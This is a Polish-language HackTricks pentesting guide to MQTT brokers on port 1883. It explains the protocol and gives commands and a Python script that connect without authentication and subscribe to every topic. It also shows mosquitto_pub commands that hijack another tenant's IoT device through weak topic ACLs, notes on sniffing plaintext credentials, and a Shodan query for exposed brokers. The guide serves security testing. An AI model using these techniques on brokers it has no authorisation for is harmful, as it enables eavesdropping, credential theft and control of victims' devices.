1883 - Pentesting MQTT (Mosquitto)
Reading time: 6 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Podstawowe informacje
MQ Telemetry Transport (MQTT) jest znany jako protokół komunikacji publish/subscribe, wyróżniający się wyjątkową prostotą i lekkością. Protokół ten został zaprojektowany z myślą o środowiskach, w których urządzenia mają ograniczone możliwości i działają w sieciach o niskiej przepustowości, dużej latencji lub niestabilnych połączeniach. Główne cele MQTT to minimalizowanie wykorzystania pasma sieciowego oraz zmniejszanie zapotrzebowania na zasoby urządzeń. Dodatkowo dąży do utrzymania niezawodnej komunikacji oraz zapewnienia pewnego poziomu gwarancji dostarczenia. Te cechy czynią MQTT szczególnie odpowiednim dla rozwijającej się komunikacji typu machine-to-machine (M2M) oraz Internetu Rzeczy (IoT), gdzie efektywne łączenie licznych urządzeń jest kluczowe. Ponadto MQTT jest bardzo przydatny w aplikacjach mobilnych, gdzie oszczędność pasma i energii baterii ma duże znaczenie.
Domyślny port: 1883
PORT STATE SERVICE REASON
1883/tcp open mosquitto version 1.4.8 syn-ack
Analiza ruchu
Gdy broker MQTT otrzyma pakiet CONNECT, zwracany jest pakiet CONNACK. Pakiet ten zawiera kod zwrotny, który jest kluczowy do zrozumienia statusu połączenia. Kod zwrotny 0x00 oznacza, że poświadczenia zostały zaakceptowane, co wskazuje na pomyślne połączenie. Z kolei kod zwrotny 0x05 sygnalizuje, że poświadczenia są nieprawidłowe, co uniemożliwia nawiązanie połączenia.
Na przykład, jeśli broker odrzuca połączenie z powodu nieprawidłowych poświadczeń, scenariusz wyglądałby mniej więcej tak:
{
"returnCode": "0x05",
"description": "Connection Refused, not authorized"
}
Brute-Force MQTT
Pentesting MQTT
Authentication is totally optional i nawet jeśli authentication jest stosowana, encryption is not used by default (credentials są przesyłane w clear text). Wciąż można przeprowadzić MITM attacks, aby ukraść hasła.
Aby połączyć się z usługą MQTT możesz użyć: https://github.com/bapowell/python-mqtt-client-shell i zasubskrybować wszystkie tematy wykonując:
> connect (NOTICE that you need to indicate before this the params of the connection, by default 127.0.0.1:1883)
> subscribe "#" 1
> subscribe "$SYS/#"
Możesz również użyć https://github.com/akamai-threat-research/mqtt-pwn
Możesz także użyć:
apt-get install mosquitto mosquitto-clients
mosquitto_sub -t 'test/topic' -v #Subscribe to 'test/topic'
mosquitto_sub -h <host-ip> -t "#" -v #Subscribe to ALL topics.
Albo możesz uruchomić ten kod, aby spróbować połączyć się z usługą MQTT bez uwierzytelniania, zasubskrybować wszystkie tematy i nasłuchiwać ich:
#This is a modified version of https://github.com/Warflop/IOT-MQTT-Exploit/blob/master/mqtt.py
import paho.mqtt.client as mqtt
import time
import os
HOST = "127.0.0.1"
PORT = 1883
def on_connect(client, userdata, flags, rc):
client.subscribe('#', qos=1)
client.subscribe('$SYS/index.html#')
def on_message(client, userdata, message):
print('Topic: %s | QOS: %s | Message: %s' % (message.topic, message.qos, message.payload))
def main():
client = mqtt.Client()
client.on_connect = on_connect
client.on_message = on_message
client.connect(HOST, PORT)
client.loop_start()
#time.sleep(10)
#client.loop_stop()
if __name__ == "__main__":
main()
Wzorzec Publish/Subscribe
Model publish/subscribe składa się z:
- Publisher: publikuje wiadomość do jednego (lub wielu) topic(ów) w brokerze.
- Subscriber: subskrybuje jeden (lub wiele) topic(ów) w brokerze i otrzymuje wszystkie wiadomości wysyłane przez publishera.
- Broker: kieruje wszystkie wiadomości od publisherów do subscriberów.
- Topic: składa się z jednego lub więcej poziomów oddzielonych ukośnikiem (np. /smartshouse/livingroom/temperature).
Packet Format
Każdy pakiet MQTT zawiera stały nagłówek (Rysunek 02). Rysunek 02: Fixed Header
Packet Types
- CONNECT (1): Inicjowany przez klienta w celu żądania połączenia z serwerem.
- CONNACK (2): Potwierdzenie serwera o pomyślnym nawiązaniu połączenia.
- PUBLISH (3): Używany do wysyłania wiadomości od klienta do serwera lub odwrotnie.
- PUBACK (4): Potwierdzenie otrzymania pakietu PUBLISH.
- PUBREC (5): Część protokołu dostarczania wiadomości zapewniająca odbiór wiadomości.
- PUBREL (6): Dalsze zapewnienie dostarczenia wiadomości, wskazujące zwolnienie wiadomości.
- PUBCOMP (7): Ostatnia część protokołu dostarczania wiadomości, wskazująca zakończenie.
- SUBSCRIBE (8): Żądanie klienta o nasłuchiwanie wiadomości z danego topicu.
- SUBACK (9): Potwierdzenie serwera żądania SUBSCRIBE.
- UNSUBSCRIBE (10): Żądanie klienta o zaprzestanie otrzymywania wiadomości z danego topicu.
- UNSUBACK (11): Odpowiedź serwera na żądanie UNSUBSCRIBE.
- PINGREQ (12): Komunikat heartbeat wysyłany przez klienta.
- PINGRESP (13): Odpowiedź serwera na komunikat heartbeat.
- DISCONNECT (14): Inicjowany przez klienta w celu zakończenia połączenia.
- Dwie wartości, 0 i 15, są oznaczone jako zarezerwowane i ich użycie jest zabronione.
IoT MQTT ecosystem attacks: plaintext brokers and topic ACL bypass
Wiele konsumenckich platform IoT udostępnia brokerów MQTT wykorzystywanych przez dwie odrębne role:
- Urządzenia brama/hub, które łączą protokoły radiowe (np. BLE/LoRa/Zigbee) z chmurą.
- Aplikacje mobilne lub web back-endy, które kontrolują urządzenia przez „app” topics.
Typowe słabości, które możesz wykorzystać podczas pentestu:
- Plaintext MQTT przez niestandardowe porty (np. TCP/8001) zamiast MQTTS. Każdy obserwator on-path może odczytać poświadczenia i ramki sterujące. Użyj Wireshark, aby wykryć ruch w postaci czystego tekstu CONNECT/CONNACK i SUBSCRIBE/PUBLISH na nietypowych portach.
- Słabe lub brakujące per-tenant topic ACLs. Jeśli tematy są namespaced tylko przez deviceId (np. "/tenantless/
/tx"), każdy uwierzytelniony użytkownik może PUBLISH do urządzeń innych tenantów. - Sensitive data leakage via maintenance/admin topics (e.g., Wi‑Fi credentials broadcast in cleartext after config changes).
Przykłady (zamień placeholdery na rzeczywiste wartości):
Subskrybuj potencjalnie wrażliwe tematy z użyciem znanych prefiksów tematów i device IDs:
# Using mosquitto_sub
mosquitto_sub -h <broker> -p <port> -V mqttv311 \
-i <client_id> -u <username> -P <password> \
-t "<topic_prefix>/<deviceId>/admin" -v
Kontrola między tenantami, gdy ACLs są słabe (publikowanie do device topic innego tenanta):
mosquitto_pub -h <app-broker> -p <port> -V mqttv311 \
-i <your_client_id> -u <your_username> -P <your_password> \
-t "/ys/<victimDeviceId>/tx" \
-m '{"method":"Device.setState","params":{"state":{"power":"on"}},"targetDevice":"<victimDeviceId>"}'
Shodan
port:1883 MQTT
- MQTT plaintext na niestandardowych portach jest powszechne w IoT. Rozważ wyszukiwanie brokerów na alternatywnych portach i potwierdź za pomocą wykrywania protokołu.
Odniesienia
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.